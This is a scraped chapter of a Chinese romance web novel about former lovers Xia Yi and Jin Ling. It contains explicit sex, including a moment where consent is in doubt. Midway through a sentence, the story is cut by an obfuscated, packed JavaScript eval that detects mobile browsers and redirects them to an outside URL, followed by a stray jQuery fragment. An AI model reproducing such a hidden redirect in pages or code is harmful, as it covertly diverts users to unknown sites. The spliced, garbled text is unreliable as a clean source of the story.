25.谁怂谁孙子

作品:《罗曼蒂克回忆录

    事实上,夏怡根本不知道自己答的是什么问题。


    黏糊的吻里她像颗脆弱鹌鹑蛋,被揉碎,撞散,原本透明的蛋清液都变得浑浊,连着她的意识一起。


    如此激烈的运动,她很久没有过了,第一轮结束后她就已经餍足,想睡觉,但她被抱去了浴室清洗,她误以为滑溜溜的鱼上岸后就能变成小美人鱼行走,得到休息,可她在水蒸气里脚都挨不着地。


    第二轮开始夏怡明显感觉头晕身胀,觉得靳凌像唐僧念紧箍咒一样,在她耳边念念叨叨,她自然也被哄着说了许多如泡沫般梦幻的情话。


    “夏怡,那我们和好。”靳凌几乎是用的气音压低了这句话的音量,在人不够理智和清醒的时候问这句话其实很不道德,但是他还只是想要个——管它是真实还是虚假的答案。


    “……”


    “不知道…呜呜我不知道。”


    “再问你一次,想了我没有?”


    “没有…”


    “重新说。”


    “…嗯…想了…做梦都在想…”


    “那和好吗。”


    “…嗯…”


    女人的嘴也可以是骗人的鬼。他当然知道,伤人的真心话多半是真的,而醉人的甜蜜话多半是假的。


    一个有效期今晚的答案,但听起来也还行,靳凌放过了她。


    处理掉了稍显鼓胀的橡胶制品被打结,确认没有漏掉的这种意外,靳凌才去换床上四件套,很难形容它们的惨状,像是某人羞愤的眼泪,让他想起小学时有个什么“护蛋行动”,而他的小鸡蛋在最后一晚不小心被压破了,当时淌了他一身和一枕头的透亮清液。


    夏怡回到被窝里的时候,泡澡泡得浑身都有些潮红碰到带凉气的被子,缩成了一团,靳凌躺下给她压了压被子,她才将憋在枕里的脸露出来,闭着眼寻找到滚烫的胸膛,手也环上身边人的腰间。


    只是这晚,靳凌的睡眠很浅,他能感受到夏怡也休息的不安稳,翻来覆去地转身,直到靳凌感觉到枕着她睡觉的小臂湿漉漉的,捧她的脸才发现她在梦里,无法自制地悲恸啜泣。


    靳凌亲她额头,抚她的背,小声叫她,尝到的眼泪咸得他喉咙疼。


    夏怡被亲得半醒,发觉自己耳朵里都装满眼泪,潮湿得像只刚冲上岸的海螺,这种感觉,她误以为自己还在纽约那套公寓里。


    “是不是做噩梦了?”


    听到靳凌的声音,才意识到她已经回来了。


    “嗯…”


    “做什么噩梦了?”


    夏怡还是很迷糊,吸了吸鼻子,声音嗡着:“我梦见你不要我抱,我贴过来,你让我滚,然后还踹了我一脚…”


    靳凌给她拨开发丝,声音带着笑意:“我什么时候踹过你?”


    夏怡说:“我不知道,但我上周也做了这样梦…好像真的有人踹我了…”


    “你和谁睡一起呢?还敢踹你。”


    夏怡闻着被子上熟悉的洗涤剂香味,迷糊着说:“不知道…可能是…唔…野男人吧…”


    倒春寒结束的第一天,天气就变得暖和,来到四月末,透过米色窗帘斜照进的刺眼阳光被过滤得温柔,撒在白里透的红滚烫皮肤上,漂浮在房间里肉眼可见的丁点儿金色颗粒,让场面氤氲旖旎。


    夏怡侧躺着,带着平缓又绵长的呼吸节奏,乖巧地贴在靳凌身侧躺着。


    感觉到一双特别温暖的手,上面的纹路是要比她的更粗粝,轻易就逮住了她,五个手指用一种缓和的节奏,紧紧松松地,像她印象里厨艺精湛的曾姨过年搋面一样的手法,松的时候手掌揉动,压入柔软,紧的时候,粗粝的指腹就陷入,捏出红痕。


    不慌不忙,一下,一下,不容置疑,将夏怡揉得整个人处在半梦半醒的状态,闭着眼睛,眉毛皱着,带点怒气发问:“你就不能等我醒了再做吗?”


    靳凌唇蹭着夏怡睡得滚烫的脖颈,像个小暖炉,不知道里面是不是也这么热,理所当然地回答:“这叫做?我什么都没干啊。”


    无奈反问:“你知道你昨晚干嘛了吗?”


    事实上,昨晚做噩梦只是一个简单的开始,夏怡一直睡觉非常不老实,他知道,但他低估了她闹腾,后半夜里靳凌被一条光溜溜的鱼翻腾弄醒了无数次,她冷了就贴他,热了就踹他,她才是那个真正的野人。


    但靳凌还是问了,那个让他彻夜不眠的话:“你晚上做梦说的野男人是谁?”


    “我不知道。”


    没头没尾的话让夏怡疑惑。


    她有个鸡毛的野男人,她长这么大就一个男人。


    但他这一下抓得她有点疼,女孩子这么娇嫩的地方能这样抓吗,气得她去挠他的手背,青筋凸起的白皙大手,顿时浮出了杂乱无章的五指红痕。


    靳凌的手机不合时宜地响了,是微信消息,手机在夏怡那侧的床头柜上,他侧身拿时,夏怡看到上面的两条信息,一条写着:凌凌,你还在生姑姑的气吗?如果你真的不喜欢那个女生,没有人会勉强你,我只是为了你好,爷爷奶奶说请你吃个饭,很久没见你了,很想你,今天有空吗?


    夏怡看到这条甚至自动忽略了还一条秘书发来的说,老板今天验收我晚一点到。


    而是问他:“你醒这么早要干嘛?”


    靳凌眉头微微一皱,一条都没回,抓紧最后的十几分钟时间,大手掌贴着夏怡的手背,十根手指紧紧缠绕在一起,直接带着她继续揉面的动作。


    “待会要上班。”


    “你继续睡。”


    夏怡无话可说,她真的很想损他一句,想你的人还挺多,你天天挺忙啊。


    但被揉得哼哼唧唧,昏昏沉沉,瑟缩在舒适的怀抱里,似一只温暖如春的瓮,渐渐又恢复成一张恬静松弛的脸,快要睡着时。


    靳凌那个七点半的闹钟,死亡铃声像警报一样,响个不停,夏怡被惊醒,这回完全不想克制自己的起床气,扭过头盯着靳凌,火冒三丈地问:“什么工作要你七点半起床?”


    需要早起的男人和总是晚回家的男人,都有偷吃的嫌疑,夏怡以前在她们广告公司听过好多这种八卦故事,出轨偷情的男人是不分国界的,冲里冲气地问:“你是公司里还养个小的吗?你要赶趟再去喂一个吗?”


    你要是选项很多,就别招惹我。


    夏怡这句憋在心里,没有说出来。


    靳凌觉得这句话太莫名其妙,不知道他又是帮哪位神人背的锅,闹钟是因为每隔半个月,星期一早上,九点,这个时刻,都是雷打不动的风洞试验,公司所有的研发项目真正验收成功之前,都需要经历多次风洞试验和其他测试,今天要请甲方高层来看看试验样品。


    但靳凌又没法给夏怡说他到底具体要去干嘛,甚至都不能说要去哪,这个项目涉及军工装备制造,每个环节都需要签保密协议。


    他只能捏着气鼓鼓的脸,半开玩笑地挑着眉问:“那你是什么?你是家里大的那个?”


    夏怡看着坦诚眼睛,却欲言又止的样子,本来就烦躁的心里,从另一个地方又腾起一阵火,她觉得他这工作真的好极了。


    因为有如履薄冰的各项规定,未经批准不得擅自出境,有核心涉密会议不能带手机,这些都特别适合用来搪塞她。


    更何况她本来就是因为这种不可言说,带来的各种不安全感才分手的,夏怡跳过这个问题,轻飘飘地开口:“管你干嘛?随便你。”


    “以我们俩之间的关系,还不足以让我有兴趣你天天在干嘛。”


    靳凌问:“我们之间什么关系?”


    夏怡:“我们不是朋友吗?”


    靳凌其实不着急要她正面回答,现在两个人是什么关系,他觉得男人和前女友有任何联系都是居心不净,真的想分彻底就该直接拉黑她,再也不联系,他也居心不净。


    但还是觉得自己有病,为什么要这么说,大清早就给自己找堵是吧?


    靳凌觉得夏怡这句话的意思还挺明显的,夫妻现在都允许同床异梦各玩各的,前男女朋友睡了又不代表就要重新在一起了。


    行,挺好的,随便她。


    靳凌笑了:“朋友?”


    夏怡也笑:“是啊。”


    “行,你说的朋友是这种吗?”


    “还是说你能接受这种程度的朋友?”


    “我确认一下。”


    夏怡登时因为缓慢,清楚迎来的饱胀感,彻底醒了,气死她了,什么叫先把她喂饱,他有问过自己愿意吗?但她突然在想,她真的和唐致逸一样,适应了那套dating文化吗?她真有那么洒脱吗?


    不过此刻她更担心一不小心说出的爱与自尊,这会让她更惊慌失措,扭头咬上了靳凌的下巴,牙齿都感受到了骨头优越的形状,含含糊糊地说:“那你卖力点,我没睡爽就换下个睡了。”


    “反正我野男人很多。”


    靳凌觉得这话听得他真想打她屁股,两个人在床上都跟打架一样不甘示弱,其间两人的电话都响过,但没有一个人能冷静下来去接。


    恨和爱真是双生子,碰撞时的响声,啪啪啪,打破了这个本该是个意绵绵静日玉生香的时刻。


    靳凌摁着夏怡瘦得有点硌手的肩头,喘粗气,确认最后一次,问:“夏怡,睡和喂是吧?”


    夏怡嘴里还含着靳凌的下巴,都尝到了一丝丝血的腥甜味道,含着泪水,努力忍住生理性的眼泪,这次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488690|151556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她确认,她并不想哭,松开嘴,颤抖着声音,“下次有需要再找你。”


    结束时,靳凌脸冷得眉眼都快冻上了,拍了拍夏怡现在看起来人畜无害的小脸,白皙的皮肤透出粉红,低垂着眼睫,湿漉漉的,没心软地说:“行,谁先怂谁孙子。”


    丢下这句话,起身,拿起床头的手机,径直进了浴室,留下摔得瑟瑟发颤的门。


    夏怡躺在床上,迅速坐起来,狂扯纸巾,擦自己,哼哼着骂:“脾气真大。”


    “行啊,谁怂谁孙子。”


    纸巾越擦越多,全部揉成团,泄愤般地扔向浴室的方向,越想越气,又觉得不够冲着里喊:“谁怂谁小狗。”


    谁都可能是小狗,但她不可能是,低头看看自己原本光洁的皮肤现在各种暧昧的红痕,随着呼吸各种起伏,晃得她迅速裹上被子。


    看着靳凌又从浴室围着浴巾走了出来,还是昨天晚上那副模样,只是耳边接着电话。


    靳凌扫了一眼地上的纸团,轻皱了一下眉,如果不是这些纸团提醒了他刚刚发生了什么,刚刚还觉得事情没有任何进展,一切又回到了原点。


    在浴室里,靳凌看到秘书发消息说,他可能需要等到九点以后,才能赶去风洞试验场。


    靳凌把电话拨过去问,直击问题:“为什么?”


    他要确保哪些人必须在场,高级工程师在场能讲解他们提前准备好的复杂构建模型,风洞试验计算结果,还有他们特别的材料,他只是给出了名单沟通了内容,但人都是秘书提前一周就通知,安排好了的。


    万一有问题,他至少需要有个问责的人吧?


    秘书那头听起来稍微有点吵闹,似乎正在招呼人,说:“今天我们融汇那边的写字楼,有家大广告公司搬迁过来了,梁总让我以我们公司的名义亲自送花篮,据说换老板了刚从美国回来,不过人我还没见到。”


    靳凌总算想起来了这个上个月就提过的不重要事情,不重要是因为他们这种面向企业销售的敏感行业,要怎么给个人消费者打广告?来挑选和定制你喜欢的军工产品?几百万可能买不到一套房,但也许可以买个远航程,重挂载,多用途的无人机?


    忍住了想损人的冲动,希望梁京行有点很特别的想法吧?不然他为什么花钱送人花篮?他的钱很好挣吗?


    拉开衣柜,回了一句“送完就快点过来。”,找了件难得穿的正装穿上。


    夏怡坐在床上,整个对话过程里被当成了透明人,眯着眼睛,看着靳凌穿得盘条靓顺,心里极大不平衡,回忆他有穿这么正式见过自己吗?不会是真的一直背着她在偷吃吧?


    但是自己已经把人的下巴都咬出小的伤口和牙印子了,什么意思,这已经很明显了吧?


    失神中,床头的手机又响了。


    是自己的手机铃声,拿过来,看到现在已经八点半了,上面有三个同个未知人的未接电话了,现在是第四个,本来想挂断,不过事不过三,还是本地电话。


    清了清嗓子,接起来,双方沉默着,等着对面先开口。


    靳凌透过衣柜门上的穿衣镜,边打着领带,边用余光扫着镜子里的胸前裹着被子的夏怡,有什么好遮的?哪没看过?


    夏怡这头,听见电话里传来一声极其熟悉的笑声,“看来你回来之后,我需要打四个电话你才会接。”


    夏怡咽了咽口水,听着这个非常有辨识度的口音,中文表达得很地道,但是有的发音带着控制不了的英语感,她以前还和唐致逸讨论过这个口音问题,这得在美国待多少年才有这种效果,唐致逸无语她,直言不讳说,那就是为什么他在美国能吃得开,能在麦迪逊大道那群八千个心眼子的白男白女里面突出重围,差点能坐上公司的第一把交椅,而夏怡不行,因为还不够会演。


    不知道他找自己干嘛,并且哪来的手机号,吞吞吐吐地说了一个:“Hello,Steve.”


    有点紧张地解释:“我不知道会是你。”


    卢竞奇又轻笑了一次,类似于一声带有磁性的叹息:“Hello,Summer.”


    夏怡被这个态度松了一口气,她真的对自己曾经上司的电话有创伤后应激障碍。


    举着手机等待着对方的下一句话,看着靳凌打好领带,果然系得还是像小学生红领巾的即视感,然后轻扫了她一眼,连个招呼都不打的就径直走出卧室,甚至还很贴心地,砰,一声关上了门。


    夏怡气得牙痒痒,捏紧了手机,觉得和小学生斗气自己也变得幼稚了起来,然后听见卢竞奇说:“但是你现在可以叫我卢竞奇了,就像你第一天在我办公室叫的那样,夏怡。”


    “晚上能请你吃顿饭吗?”